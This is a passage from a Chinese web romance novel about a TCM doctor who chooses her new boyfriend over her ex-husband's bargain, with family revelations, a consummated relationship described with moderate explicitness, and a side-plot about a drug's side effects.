她的床头常年放着医书,每晚睡前都要翻一翻,学无止境。
舒星若下床坐到贵妃椅上,倒了一杯花茶来喝,叮嘱道:“以后你在办公室坐几个小时,就练下这个肩颈操。不能说完全好,至少不会疼。”
苏容泽套路她:“可是我记不住啊。”
舒星若纳闷,他一个常年健身的人,怎么会记不住这么简单的动作?
舒星若想了想说:“那我待会录个视频发给你,你每天跟练。”
苏容泽伸手抚摸她的脸:“谢谢小若若。”
这样他可以在工作闲暇的时候看见她。
楼下的佣人打来电话:“舒小姐,您前夫要进来,放他进来吗?”
舒星若不再仇视季宴礼,毕竟人家救过自己。
“放他进来,叫他在客厅等我。”
苏容泽听说季宴礼来了,刚刚的好心情消失殆尽,脸都变得严肃起来。
“他怎么又来了?”
舒星若柔声劝道:“来就来吧,你继续工作吧,我应付得来。”
这两个人每次见面都剑拔**张,加上苏容泽穿着居家服,难免不让季宴礼胡思乱想。
他又爱发疯,还是让苏容泽不露面的好,舒星若实在不想看到世界大战。
舒星若下楼的时候,见季宴礼的眉头快拧成了麻花。
见到舒星若,他眼眶泛红:“星若,原来何欣就是当年的真凶。”
第124章 考虑一下,离开苏容泽
舒星若的脸上并无惊异之色,一副了然于心的表情。
季宴礼泪目:“原来你早就知道了。”
他刚得到言永飞给的信息,得知何欣是罪魁祸首,他痛到无法呼吸。
他骂了舒星若足足六年的心机婊,原来最有心机的竟然是他一直以来感激涕零的何欣。
何欣当年去现场是按捺不住得意的心理,去看舒星若死透了没有,顺便拿行车记录仪。
她拿完就有路人路过,为了避免嫌疑,不得已才报的警。
后来她出国跟了杨思淼,季家人一直没往她头上查。
杨思淼不举之后,她立马决定回国找季宴礼。
她在季宴礼面前的人设一直是清纯小白花,人畜无害,痴恋他。
因此,处女膜修复必须搞起来,她在港城做的手术,被林安禾拿到了证据。
如果没有她多此一举,季宴礼可能很快沦陷在她的温柔攻势之下,孩子都有了。
那个时候她就算犯了天大的错,有了孩子的保命符,季宴礼也不会动她。
这一桩桩一件件,舒星若和季宴礼都心知肚明。
舒星若平静的说:“比你早几天。”
她现在已经没有幸灾乐祸看热闹的心态了,觉得季宴礼也挺惨的,被初恋蒙蔽了这么多年,还差点杀了他。
都说校园恋爱最纯粹,也就是这种刻板印象,让很多人在大学里就被骗被伤害。
舒星若始终觉得,如果那个人本身就是恶人,在哪恋爱都是一样。
季宴礼一向自诩聪明,从大学恋爱开始,他整整被何欣套路了足足八年。
这是他最不能接受的。
他跌坐进沙发里,舒星若让佣人都回避,安慰道:“你想哭就哭吧。”
从中医的角度出发,郁结于心不是什么好事。发泄出来对身体更好。
季宴礼的泪始终没有落下,他不允许自己落泪,而且为了何欣这样的心机婊不值得。
他庆幸的是舒星若对自己的态度好多了。
“星若,对不起,真的对不起。”他懊悔万分,站起身来想抱舒星若,舒星若后退了几步,避开了。
季宴礼一愣,他们之间经历了这么多误会、恶语相向、怨恨,她心中的一生中最爱之人早已不是自己。
他忍着心口的剧痛问道:“你真的爱上了苏容泽?”
舒星若点头:“嗯,他已经是我的男朋友了。我已经放下了,希望你也能放下。以后我们各自安好。”
本来就确定的事,他亲口听舒星若说出来,只觉得一阵头晕目眩,差点没倒下去。
他定了定心神说道:“他们苏家人多口杂,我打听过了,他爷爷是个老顽固,应该接受不了离过婚还生过孩子的你。”
又是这番说辞,舒星若耳朵都起茧子了。
现今科技日新月异,这些人的思想还这么陈旧。
“我又不是跟他家里人谈恋爱,他不介意就行了。”
季宴礼的脑子里飞快的运转,他们两个人恋爱了,很快可能就要同居了。
他呼吸凝滞,他不能接受这样的事发生。
“星若,何欣找那个孕妇坑你的事,幕后主谋一直没供出来。我已经打过招呼了,给她上些手段,不吐出来她生不如死。”
他盯着舒星若的眼睛:“如果我让何欣永远都出不来,你能不能离开苏容泽?”
他暂时不求她回心转意,只要别投入其他男人的怀抱。
他一想到舒星若躺在别的男人怀里,他就想不顾一切的带走她。
舒星若淡淡的说:“何欣坐牢是板上钉钉的事,我不需要你为我做什么。”
“你不用再在我身上花时间了,我们已经不可能了。”
季宴礼喉咙发紧,血气上涌,眼泪夺眶而出:“星若,我们认识八年,结婚六年,你真的对我一点情义都没有了吗?”
舒星若一字一句的说道:“我们已经离婚了。”
他近乎哀求的说道:“当年我为了你,连命都不要。你就不能可怜可怜我,留在我身边。”
舒星若从未见过如此卑微的季宴礼,她叹了口气:“你的这些都是执念,我们已经回不去了。你要是心里不
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舒服,我帮你号脉,给你治一下。但是我治不了心病,我不是心理医生。”
季宴礼却毫不犹豫的伸出手来:“你给我看。”
舒星若给他号脉,查看了他的舌苔。
摇摇头说道:“肝郁得厉害,你最近是不是天天失眠?”
季宴礼说:“自从你搬走之后,没有**我睡不着,吃了**也就睡五个小时。”
舒星若说:“我卖给瑞祥的方子里有一个是治顽固失眠的,实验数据很好。你们量产了的话吃那个药,别吃**了。”
想起那三个古方,季宴礼突然来精神了:“那三个药我们准备下个月初上市,如果你离开苏容泽,我会在药盒上写行止堂祖传秘方。让行止堂发扬光大。”
他知道,舒星若对行止堂的感情很深厚。
这个条件开出来极其诱人,舒星若一时之间竟有些犹豫。
见舒星若犹豫了,那就代表有希望。
季宴礼脸上浮现笑容:“我给你一个礼拜考虑。”
他来之前的心头阴霾一扫而空,开心的走了。
苏容泽从楼上的窗户里看到季宴礼往回走,神采奕奕的。不像上午的他,憔悴又不理智。
苏容泽心想:“不好,他一定是得逞了某些目的。”
舒星若已经上来了,“容泽,我有事回外婆家,你晚上自己吃饭。”
苏容泽问:“不用我陪你吗?”
舒星若说:“不用了,我回去跟外公说点事情,你在不太方便。”
说着她走进了衣帽间换衣服。
苏容泽心下骇然:“她有事瞒着我。”一向冷静的他突然慌了起来,“难道是她前夫要挟什么了?”
苏容泽走进衣帽间,舒星若刚脱完家居服,只穿着一套蕾丝内衣。
优越的身体曲线完完整整的展现在苏容泽面前。
他既窘迫又窃喜,被她的好身材吸引。
舒星若拿着一件羊毛衫挡在胸前:“那个,你等我换完衣服吧。”
苏容泽喉头滚动,上前一把抱住舒星若,“若若,你是不是要离开我了?”
第125章 舒星若没有坚定的选择苏容泽
舒星若有些慌,后背发凉。
他果真智商超群,从蛛丝马迹中就能猜出自己的零星想法。
这一次她没有和盘托出,撒谎道:“就是我身世的事,涉及我母亲的隐私,你在不太方便。”
她怕他得知自己的犹豫,伤心欲绝,毕竟他那么爱自己。
苏容泽根本就不信她的话,分明是季宴礼达到了某种目的,心情大好。
他眸色深沉:“星若,不要骗我。我刚在楼上看见季宴礼,走出去的时候心情大好。这段时间,他每次见完你不是愤怒就是悲伤,从来没有心情好过。”
舒星若脑子飞速运转,柔声说道:“哦,你说这个嘛,他最近失眠我主动帮他看了病,提醒他用我卖给他的药方。加上那款药快要量产了,他的愤怒没了。”
苏容泽的手因为紧张而用力:“真的吗?”
舒星若反握他的手,柔软而坚定,“嗯,你知道的,平常我对他横眉冷对。今天我对他态度好了一些,他可能因此心情好了吧。”
苏容泽这才放下心来,又瞧见舒星若漂亮的身体,他不好意思的挠头,“我刚太着急了,不好意思。”
舒星若方才因为被他猜中心思,过于紧张都忘了害羞。现在他提起来,舒星若羞得面红耳赤,说话都有些结巴。
“你……你先出去,我换好衣服。”
苏容泽的脸也通红:“嗯。”退出了衣帽间。
舒星若出门的时候,苏容泽亲了亲她:“谈完事情早点回来,我在家等你。”
“好!”舒星若心里有些忐忑,她不知道要不要放弃苏容泽。
车子开在路上,林安禾打来电话:“星若,明天有空不?一起吃午饭。”
她最近忙得脚不沾地,好久没见舒星若了,忙完了就想跟她见面聊八卦。
顺便聊一聊舒星若和苏容泽的感情。
舒星若说:“我可能要和苏容泽分手了。”
“什么?”林安禾因为诧异,声音都抬高了:“你俩这才好了几天,怎么就要分手了?是不是季狗从中作梗?”
舒星若边开车边说:“嗯。我卖给季宴礼的药方,那三款药马上要上市了。季宴礼说如果我跟苏容泽分手,他就把在药上打上行止堂祖传秘方。”
“你答应他了?”林安禾觉得季宴礼果然老辣,捏准了舒星若的脉门。
毕竟她刚跟苏容泽在一起,感情还没那么深厚。行止堂扬名立万,是多么大的诱惑。
舒星若说:“暂时还没有,我现在正在开车回去跟外公商量。”
舒星若非常纠结,一边是家族名声,另一边是刚爱上的男人。
到了外婆家,舒延兆已经回来了。
他正靠在沙发上玩手机,见舒星若回来,心情肉眼可见的变好。
舒延兆见舒星若脸色苍白,问道:“若若,有事吗?”
舒星若将事情简单说了,舒延兆沉吟半晌说:“你回来跟我商量其实就是舍不得苏容泽,如果你舍得他,当场就答应季宴礼了。”
舒星若心中大惊:“明明我认识苏容泽不久,好像也没那么喜欢他。我为什么不立刻答应季宴礼呢?”她为自己的不舍感到羞耻,她竟然在行止堂跟苏容泽之间犹豫了。
舒延兆说道:“若若,行止堂不需要靠这种东西出名。你喜欢小苏,跟他好好走下去就行了。”
舒延兆要想出名只需多年来。隔三岔五的接受媒体采访就行了,他最不在乎的就是名气。
相反,他觉得名气过大,必定会遭受反噬。
医生不是天神,总有治不好的病。民众热衷于造神,将自己塑造成无所不能的神医,反而是一种负担。
舒星若觉得很惭愧:“外公,对不起,我害得行止堂错过了流芳百世的机会。”
舒延兆笑了:“傻孩子,行止堂要流芳百世干嘛?人活在当下就好。”
他行医几十年,见过太多生离死别,活得无比通透又清醒。
“小苏那孩子人不错,若若,你之前选错了男人,痛苦了整整六年。你才二十几岁,有事业有孩子,可以享
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受恋爱带来的乐趣,那是与亲情不一样的体验。”
他与宁可芳相濡以沫几十年,他深知选对爱人的重要性。
将来他和宁可芳百年以后,季知许长大成人会有自己的家庭,有一个能相守一生的人也很重要。
舒星若乖巧的点头:“谢谢外公!”
“对了,还有一件事,我要跟您说。”舒星若的神色变得凝重。
宁可芳恰好从房间里走了出来,见舒星若的脸色不对,忙问道:“是什么事,你脸色变得这么差?”
舒星若眉心拧紧:“外公外婆,我不是何宏的女儿,是姜学名的女儿。当年妈妈发现了何宏出轨,去酒吧买醉,被姜学名强了。就是那天晚上妈妈怀了我。”
“什么?”舒延兆惊得从沙发上弹了起来,他此生最后悔的事就是收了姜学名为徒,让他研发了那两款药,害了无数人。
现在听到姜学名竟然还害过自己的女儿,一时之间悲愤交加,喉头一阵发腥,吐出一口血来。
舒星若慌了,忙给舒延兆号脉,火气攻心。
取来针囊给舒延兆针灸一番,留针半小时后,舒延兆才缓了过来。
好在宁可芳听到这个炸裂的消息,虽然生气,身体没什么问题。
舒星若说:“外公外婆,你们放心,姜学名即使有亿万身家,我也不会认他的。我之所以没有报复他,是因为那天他舍命救了我。跟你们说这件事我怕他会来找你们,弄得你们措手不及。”
舒星若又将姜学名替她挡下车祸,自己输血给他差点要了他的命说了。
这下轮到宁可芳胆战心惊了,心疼到她落泪:“你这孩子就因为嫁错了人,惹了一身的祸事。”
舒星若摇头:“我跟何欣是天生的死敌,六年前的那场车祸是季宴礼帮我挡下的,当年何欣就想要了我的命。”
舒延兆震惊,在他眼中,季宴礼一直是个极不称职的丈夫,他竟然还有此等大丈夫的行为?
“既然如此,为什么一直没有听你说过?”
第126章 季宴礼输得一败涂地
舒星若的脸陷入暗淡之中,至今想起那场车祸她还心有余悸。
“当年场面过于惨烈,季宴礼满身都是血,我当场晕了,醒来后选择性遗忘。何欣招供后,我才记了起来。”
宁可芳叹息道:“简直就是一场孽缘,归根结底都是何宏这个渣男惹出来的。”
不是他出轨,就没有何欣,也就没有后面这一系列的事了。
何欣至今不肯招认孕妇的事,何宏被摘得干干净净,还没被羁押。
“外婆,您放心,何宏这些年应该没少干坏事,我想办法查他。”
宁可芳却摇头:“若若,我不希望你再为这些事费神。既然他干过坏事,一定跑不掉的。”
她失去过女儿,不想外孙女整日活在算计之中。她费尽心力的教养舒星若,就是想她活得开心惬意。
舒星若心里却不打算放过何宏,害了母亲,还差点害了自己。
到了晚餐时间,王阿姨将饭菜端了上来。
因为刚才的事情,大家都没什么胃口,没吃一会就结束了晚餐。
舒星若给季宴礼发微信:【药品上面不用打上行止堂。】
季宴礼震惊:【你竟然爱他至此?】
方才舒星若开车出门的时候,他感觉胜券在握,想不到才过了几个小时,她就做出了与自己设想的天差地别的选择。
他急切的回道:【你在哪?我来找你。】
舒星若毅然决然回:【我心意已决,不必劝我。这是我和外公商量的结果,行止堂不需要这样的虚名。】
季宴礼握着手机手不自觉的发抖,苏容泽不仅赢得了舒星若的心,连她家里人都拿下了。
自己这六年来从不去舒家,对舒星若冷淡至极,导致舒家老两口对自己深恶痛绝。
他输得一败涂地。
这一切都是何欣的错,他必须将功补过。
舒星若回到家,苏容泽还在她房间工作,佣人说他晚饭没吃,也一直没下楼。
舒星若看着他的背影,第一次觉得他的落寞。
“你怎么不吃晚饭?”舒星若心疼的问道,“工作再忙,废寝忘食也不行。”
他是没有胃口,担心舒星若不要他,才寄情于工作,麻痹自己。
宗司辰他们快疯了,苏容泽一工作,就拉着他们一起居家加班,很久没见总裁这样发疯工作了。
他不是有女朋友吗,难道是失恋了?
大家怨声载道的跟着加班。
舒星若刚出门没多久,季宴礼就给苏容泽打电话:“星若犹豫了,苏容泽,你在她心里没那么重要。”
苏容泽心惊:“什么犹豫?”
舒星若连真话都没有说,季宴礼更加得意。
“我跟她说我公司新药上打上行止祖传秘方,她跟你分手。她没有当场拒绝我,而是回去跟她外公商量。”季宴礼嘴角爬上了笑意:“苏容泽,她对你也不是百分之百信任,连说都不敢说。”
苏容泽心里“咯噔”一声,他了解舒星若对行止堂有多在乎。
舒星若选择隐瞒就是不信自己,他害怕舒星若就此放弃了自己,毕竟他们还没在一起多久。
整晚他都心神不宁。
此时见到舒星若比出去的时候脸色好,他心中松了一口气。
舒星若没有放弃她,不管她有没有犹豫过,他不在乎,他只在乎结果。
他微笑道:“你不在我食不下咽。”
舒星若说:“刚好我晚饭没吃多少,我陪你吃宵夜。”
她让佣人下了两碗松茸鸡汤米线,两人下楼去吃。
苏容泽觉得今天的宵夜格外的美味,鸡汤鲜掉了眉毛。
舒星若见他喜上眉梢,“有这么好吃吗?”
“跟你在一起,什么都好吃。”
舒星若娇嗔道:“油嘴滑舌。”
苏容泽正色道:“我说的是实话,若若,我刚刚一直在担心你不要我。”
舒星若神色微变,但她处事不惊,惊慌立刻消失。
季宴礼怎么会错过挑拨他们的机会?男人这该死的嫉妒心。
舒星若握住他的手:“容泽,你这样好,我怎么会舍得不要你?你遵从内心,爱我护我,从不让我受委屈。只要我有事你都是第一时间赶到,替我出谋划策,生怕我搞不定。这世上除了安禾,外公外婆,再没人对我这样好了。”
令舒星若更加满意的是,苏容泽是一个极其自律的男人。
而且他人间清醒,清晰的知道自己追求的东西。
就算将来他们
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感情变淡,也会像外公外婆那样相濡以沫几十年的。
她柔声细语的说道:“男朋友如你,夫复何求?”
苏容泽只觉得她说起情话起来特别动听,他伸出手臂将她搂入怀中:“星若,无论你犹豫挣扎过什么,只要你最终选择了我,我就不会负你。”
俯身在她的粉唇上吻了下去,他的吻悠长又深入。
吻着吻着他想起她完美的身段,浑身燥热,手都不安分了起来,“星若,我们可以做吗?”
舒星若是他第一个女人,情到浓处,他真的很想跟她深入交流。
舒星若点点头,“好!”
她摸到他的腹肌,这样的男人一定很持久。
苏容泽开心的将她公主抱,她纤细的手臂揽着他的脖子,头靠在他的胸口。
她心想:他的腰力一定很好。
走入电梯,苏容泽低声说:“我们先洗澡。”
舒星若颤声问道:“是一起洗吗?”
苏容泽轻笑:“你要想也可以。”
“别,”舒星若一脸晚霞,“我们分开洗澡吧。”
他们还没熟到一起洗澡的地步,舒星若还需要再适应一段时间。
苏容泽洗澡很快,他穿着浴袍出来,深V设计,露出他坚实的腹肌。
舒星若随后从浴室出来,她穿着一条真丝吊带睡裙,曲线毕露。
看得苏容泽眼睛发直,她真是一只尤物。
苏容泽立刻吻了上来,手上也没有停止,很快两人坦诚相见。
因为舒星若没有生育能力,不用戴套,两人直奔主题。
苏容泽是第一次,他格外的紧张,舒星若感觉到他身体在发抖。
“星若,我怕我会弄疼你。”
她皮肤太娇嫩,吻痕已经清晰可见,特别的红。
舒星若说:“我们多吻一会。”她是医生,熟悉生理知识,知道怎样令双方更加愉悦。
“好。”苏容泽几乎吻遍了她全身。
如舒星若期待的那样,苏容泽的腰力是真好,第一次就持续了半小时。
让舒星若深刻感觉到这件事的美妙,她的手臂揽着他的脖颈,在他怀里娇喘道:“你是要我死在你怀里吗?”
苏容泽笑得肆意:“我怎么舍得?”
第127章 我把苏容泽睡了
他将舒星若抱得更紧:“若若,你信我,即使苏家人阻拦,无论要克服怎样的困难,我也一定会娶你的。”
他既然跟她亲密接触了,就一定负责到底。
而且她真的让自己沉沦,他舍不得放她走。
尤其是她那个不靠谱的前夫,还在虎视眈眈。他更加不能放手。
舒星若说:“活好当下最重要,我们交往一段时间,没有问题我们就结婚。”
苏容泽吻住她,“若若,我爱你。”
舒星若被他吻得情欲翻涌:“爱你。”
苏容泽体力消耗太大,沉沉睡去。
舒星若还处于兴奋之中,给林安禾发微信:【我把苏容泽给睡了。】
林安禾没有时间回她,此时她正在与一名刚认识不久的帅哥大战。
她从不恋爱,只睡帅哥。
用她的话说就是:帅哥千千万,新的最好看。
她忙得要死,没空跟男人周旋,偶尔睡一个放松心情。
两人完事以后,男人识趣的走了。林安禾从不留男人过夜,她怕惹麻烦。
她打开手机,看到舒星若发的信息,大喊道:“卧槽!”
舒星若突然开窍了。
立即给舒星若回过去:“啥情况,快给我讲讲。”
等了半天舒星若也没回,应该是睡了。
舒星若确实睡着了,贴着苏容泽甜甜的进入梦乡。
林安禾又发了一条信息:【明天中午来找我,一个人来,我要听细节。】
发了一个餐厅定位给她。
清晨舒星若醒来的时候,苏容泽在身旁一脸笑容的望着她。
舒星若感觉他色气满满。
她想,开了荤的男人就是不一样。
他的声音里都充满了欲望,“若若,我还想要。”
“先去刷牙洗脸。”大帅哥清晨也避免不了口气,舒星若可不想被熏到。
苏容泽从善如流:“马上。”
飞快的跑去刷牙,舒星若刚刷好出来,他已经眼神火热的扑了上来。
他边吻边脱她的衣服,没一会两人亲到了床上,身影重叠。
苏容泽有了昨晚的第一次以后,这次让舒星若的体验感更好。
主要是他体能太强,直接持续了近一小时。
激情过后,累得舒星若不想动弹。
两人又相拥着睡了近两个小时,才恢复了精神。
舒星若玩笑着说:“不是都说你禁欲吗,怎么这么饥渴?”
苏容泽给了一个绝色的笑容:“因为是你啊,我都馋了很久了。”
准确的说第一次见面,他就觉得她很美,美得不像中医,才忍不住怀疑她是江湖骗子。
那个时候他就留意到她的美貌了,得知她生过孩子他都难以置信。
舒星若说:“苏总,你这表里不一,单身了几十年,突然一下子这么火热。”
他搂着她的纤腰,亲了亲她优美的脖子:“我只在你这里火热。”他不是什么滥交的人,对谁都冷淡疏离。
只有舒星若,让他不由自主的想靠近,即使那时候她没离婚,他就在心里偷偷喜欢了很久。
舒星若被他弄得很痒,发出银铃般的笑声。
苏容泽觉得她的笑声格外动听。
两人又笑闹了一会。
舒星若起床洗漱后说道:“我中午约了安禾,她不让我带你。你乖乖在家吃饭,或者约朋友。晚上再宠幸你。”
苏容泽笑着说:“好。”舒星若瞧他的眼神,又想入非非了。
“别瞎想,纵欲过度对肾不好。”
他吻住她的唇:“知道了,我就放纵几天。”
舒星若才不信他的鬼话。
苏容泽有个京市过来出差的朋友,叫童逸然,昨晚就发微信约他了,被他重色轻友的拒绝了。
既然舒星若要出门,那就见一下他。
“中午去荣记餐厅,我请客。”
童逸然受宠若惊:“你这个大忙人终于肯出来见我了。”
苏容泽面无表情,“少废话,吃完饭就滚,别妨碍我谈恋爱。”
“好好好,绝不妨碍你跟嫂子卿卿我我。”童逸然特别好奇是怎样的女人,让不近女色的苏容泽动心了,他曾经一度以为苏容泽心中只有争权夺利。
“中午把嫂子带出来给我看看。”
童逸然看过苏容泽跟舒星若直播回放,他从来没见过这么“温顺”的苏容泽,很好奇舒星若究竟是怎样的奇女子。
苏容泽说:“她没空,跟她闺蜜一起吃饭去了。”
童逸然一阵哀嚎:“你个没人性的,嫂子没空你才搭理我。”
“不然呢?”
好吧,念在他第一次谈恋爱的份上,不跟他计较。
舒星若这边,林安禾早早的订好了包厢。
她从不跟舒星若客气,反正闺蜜现在是富婆,平时吃不起的豪华餐厅走起。
舒星若一进来,林安禾就看见了她脖子上草莓印,惊呼:“苏容泽这么猛的吗?你这痕迹都这么明显了。”
舒星若一脸娇羞:“早上又来了一次。”
林安禾大笑:“我说了吧,他体力好,包好睡的。”
“我听杨思淼说,他是个极度负责任的人。你们都深入交流了,是不是打算娶你过门了?”
舒星若说:“他是这样承诺的,但是他家复杂得很,我也不太抱希望。反正过好当下就行。”
林安禾对她的极速转变很不适应,摸摸她的脑门:“没发烧啊!”
舒星若推开她的手,笑骂道:“讨厌,我是说真的。”
林安禾使劲摇了摇她,“你是个什么人侵占了星若的灵魂了吗?”
舒星若端起碗,喝了点汤,将最近的遭遇跟她一一说了。
惊得林安禾连说了好几个卧槽,她抓住舒星若的胳膊喊道:“原来当年是季宴礼救的你,星若,我想想当年的车祸还后怕。”
“何欣那个女人果然够阴毒,还好她被抓了,不然我担心死了。”
何欣买凶杀人两次,还贩卖文友兰,这几项罪名够判死刑了。
舒星若说:“都是该死的何宏惹的,死渣男现在还躲着。”
舒星若从小到大见过他几次,她从来都不喜欢他,原来是真的没有血缘关系。
林安禾忽然想起姜学名是舒星若的亲生父亲,毕竟舒星若是他唯一的女儿。那货虽然人品次,但是有钱啊。
“你真的不认他?”
第128章 直播帮原配追回财产
“认他?”舒星若脸上带着恨意:“一个强奸犯有什么好认的?”舒星若觉得自己不弄死他已是仁慈。
林安禾毕竟是律师,考虑事情比较冷静。
“姜学名无儿无女,他那么多钱将来总有找个继承人。你不要只会便宜了别人。”
舒星若对他的钱不感兴趣。
“你可知他的血沾满了血泪,当年他发家的那两款药害了多少人?”
舒星若顿了顿说道:“而且他才五十几岁,离他两脚一蹬还早着呢。金钱和权力是男人最好的春药,他不会轻易将揽月制药交给我的。”
林安禾深知舒星若说的都是真的,十分惋惜:“你离富婆还差一步。”
舒星若要是坐拥揽月制药,那她跟着享福。想接什么案子就接什么案子,不用为了钱妥协。
舒星若笑:“我现在也有钱啊,养你绰绰有余。”
拿起手机,往林安禾的支付宝里转了五十万。
“拿去随便花。”
林安禾抱着她亲了一口:“谢谢我的若老板,老奴必定尽心伺候。”
舒星若撸猫似摸了摸她的脸:“你就是我养的小猫咪,最近有没有什么瓜听?”
林安禾说:“最近我们团队在处理南真仪家的案子。”
舒星若瞬间来了精神。
律师们帮胡丽淑清点了这些年南景为外面的女人孩子花了近一亿,胡丽淑想要回这笔钱。
法院支持,但是钱已经花完了。南景平时只给他们刷信用卡买包和奢侈品,实际上名下没什么资产。
无法执行,南真仪一气之下申请将他们列为老赖。
林安禾说:“成了老赖之后除了不能坐飞机高铁,但是他们出去玩可以坐车啊。他们也不在乎,反正没钱找南景要,南景就从公司账户里划拨。胡丽淑知道了,气得快吐血了。”
舒星若点头:“确实要吐血,我听说当年她陪南景同甘共苦创业的,辛苦赚来的钱被外面的女人挥霍,她不砍人就算脾气好的了。”
“是啊,我们建议她申请保全公司资产,公司保全比较麻烦,我们办了很长时间才办好,现在公司的钱也不能动了。”
舒星若问:“没钱那些女人靠什么生活?”
林安禾笑了起来:“这下就真好玩了。女人们眼看着给老头子生孩子伺候那么多年,到头来连生活费都没了,组团去公司闹,南景躲着不敢出来。胡丽淑叫人把他们的丑态拍了下来,放在网上,成了反小三的宣传。”
林安禾掏出手机给舒星若看,视频里的女人们在用最恶毒的语言咒骂胡丽淑,连同南真仪都骂了。
胡丽淑始终没有露面,三姐们闹了近三个小时,保安就是不让他们上去。
最后无疾而终。
林安禾接着说:“现在胡丽淑在网上弄了个直播,请了我们团队的几个律师,每天陪她直播。在线帮大家找小三要钱,还顺便带货,挺火爆的。”
舒星若“嘶”了一声:“她这么弄,对南家公司形象影响不是很大?”
“我问了胡丽淑,她说公司就那样了,要回来给女儿。她要发展直播带货事业。”
舒星若深感佩服:“牛逼,豪门圈子里大家都为了利益维持摇摇欲坠的婚姻,只有胡丽淑敢这么干,打破桎梏。”
她想起南真仪有这样一位厉害的母亲,将来自己要嫁给苏容泽,南真仪可能会使绊子。
林安禾看出来她的忧心:“他们苏家确实错综复杂,不是苏容泽按着,南真仪夫妻俩不知道要整多少幺蛾子。”
舒星若眼眸深邃:“嗯,难为容泽刚大学毕业就要跟他们斗得死去活来。”
林安禾点点头:“豪门世家个个都是人精,亲情对他们而言,屁也不是。你自己要当心,何欣害你的幕后黑手还没找到,出门一定要带保镖。”
“放心,容泽给我安排了好几个。”
吃完饭舒星若买了单,林安禾花舒星若的钱从来都是心安理得。谁让她命好,有个富婆闺蜜呢?
从包厢里出来,遇上了也刚吃完饭的苏容泽和童逸然。
苏容泽见到舒星若就贴了上来,“若若,你们也在这吃饭。”飞快的牵上了舒星若的手。
舒星若说:“嗯,安禾订的地方。”
苏容泽见到舒星若像变了一个人,一副温柔体贴的样子。跟刚才的酷炫冷漠无法相提并论。
童逸然简直不敢相信自己的眼睛:“嫂子,这个家伙只有在你面前才像一只波斯猫,在我们面前那是拽上天的霸总。”
他话音刚来,就收获了苏容泽的一脚。
苏容泽给他们介绍:“我朋友童逸然,京市永德科技的总裁。”他看向舒星若,眼里盛满爱意:“我女朋友,天才中医舒星若。这是她闺蜜,著名律师林安禾。”
童逸然心里一阵震动,竟然有这么好看温柔的女人,他不是没见过美女,舒星若的容貌给他带来了震撼。
难怪能拿下不近女色的苏容泽,这货平时一副正人君子的,原来是没遇上入自己眼的。
“嫂子,你本人竟然这么好看,怪不得将我泽哥迷得神魂颠倒。昨天晚上我约他吃饭,说没空。今天你约了闺蜜,他才抽空来见我。这才刚谈多久,就有异性没人性了。”
林安禾在一旁偷笑,她没有看走眼,苏容泽果然非常重视舒星若。
苏容泽:“滚蛋,你跟若若比起来啥也不是。”
童逸然表演了个受重伤的姿势,舒星若笑着说:“你要是受伤了我可以给你治。”
童逸然挠挠头,略带尴尬的说道:“嫂子,我一到夏天就头疼浑身痒,你能治不?”
童逸然是海市人,就因为得了这个怪病不得已搬到京市,他比较适合北方的天气。
虽然北方夏天短,但一到夏天还是会犯病。看了多少医生都没说出个所以然来,也找过中医,依然没用。
舒星若二话不说,给他号了脉,号了好一会,舒星若也没看出来他有什么问题。
但是舒星若坚信,他的身体肯定出了问题。
“我看不出来你有什么问题,你不介意的话,跟我去行止堂给我外公看下。他经验比我更丰富。”
第129章 打算培养许许当继承人
童逸然说:“行,去看看。”他是被痒怕了。
林安禾没跟他们一起去,她要回家补觉。苏容泽坐舒星若的车过去,童逸然又被无情的抛弃在苏容泽车上。
他扁嘴:“这怎么三十岁了还这么粘人?”
“滚!”他又收获了苏容泽一脚,老实的去车上了。
到了行止堂,前台护士说今天周末,病人很多,舒延兆的号都被抢完了。没办法加号了。
他们只能等舒延兆忙完,舒星若也不闲着,帮忙看起了病人。
苏容泽在一旁像个小实习生给她打下手,舒星若一个眼神他就屁颠屁颠的忙前忙后。
有人认出他们,“苏总,舒大夫,你们是谈恋爱了吗?”
苏容泽无比傲娇的点头:“对呀,终于追到了。”
“好般配啊!”
苏容泽嘴都快笑咧开了,舒星若却略显凶巴巴的说:“不要跟病人聊天,妨碍我诊断。”
病人和苏容泽立刻吓得大气不敢出,一旁的童逸然憋着笑,他最喜欢看苏容泽吃瘪。
大魔王被小仙女降住,特别有反差感。
忙到下午六点,才看完了所有的病人。舒星若很久没长时间坐诊,感觉有点吃不消。
苏容泽却不觉得累,反而觉得跟舒星若在一起工作十分有趣。
舒星若问他:“今天一下午会不会耽误你的工作?”
苏容泽笑:“不会,我也有不工作的时候。而且陪你让我周一工作效率更高。”
童逸然起了一身鸡皮疙瘩:“肉麻死了,别打情骂俏了。嫂子,快带我去看病。”
他坐在行止堂看了一下午来往的病人,发现舒星若医术很精湛,她都看不出自己的病,怕是时日无多了。
胆战心惊了许久。
舒星若带着童逸然走进舒延兆办公室。
“外公,这是容泽的朋友童逸然,他生了怪病,我号不出来。”
舒延兆脸色沉重,舒星若的医术他了解,连她都号不出来的的病,铁定是疑难杂症。
童逸然见到舒延兆如此沉重,心都死了:“我不会得绝症了吧?”
舒星若说:“别瞎说,你快伸出手让我外公号脉。”
舒延兆把了一会脉,从抽屉里拿出一本很旧的笔记本,翻阅了一会,问童逸然:“你是不是吃过揽月制药的速方救心剂?”
童逸然陷入回忆之中,“我初三那年上体育课晕了,送进医院急救,说是心脏方面的问题。对,确实用了速方救心剂,好像一共吃了五盒,但不记得是不是揽月制药的。”
舒延兆无比笃定的说:“一定是揽月制药的,只有他们的效果好,副作用大。你那到夏天就痒的毛病是药的副作用。”
舒星若曾仔细研读过药物资料,回想起来,她恍然大悟:“怪不得我号不出来。”
姜学名就阴毒在抹掉一切痕迹,让那些有副作用的人求医无门。
怪不得当年舒延兆即使手握证据也无济于事。
童逸然见祖孙俩一个比一个脸色难看,颤声道:“我这到底还有没有得救?”
舒延兆说:“当然有救,不过你要吃一个月中药,能忍吗?”
当年舒延兆收集了很多资料,这些年陆续治好了不少药物受害者。童逸然的副作用他早早已有研究。
童逸然问:“吃一个月中药能彻底治愈吗?”他吃过中药,那苦味至今让他心有余悸。
“可以,但是你要忌口,待会我会给你一个清单。”
童逸然顿了顿,看向苏容泽,苏容泽朝他点头。
他这才下定决心道:“行,我吃。”
舒延兆把方子开给他,“你在我这里先开五天的量,后面的你自己去抓或者我们寄给你都可以。”
“好的,谢谢舒大夫。我明天去深市出差,那边现在还是夏天,我怕又痒了。”
要不是去大客户万鑫电子,他打死也不去南方。
舒延兆给他开了一支药膏:“哪里痒擦哪里,能缓解一些。”
童逸然如获至宝,只要能缓解他的痒,那就是救他的命。
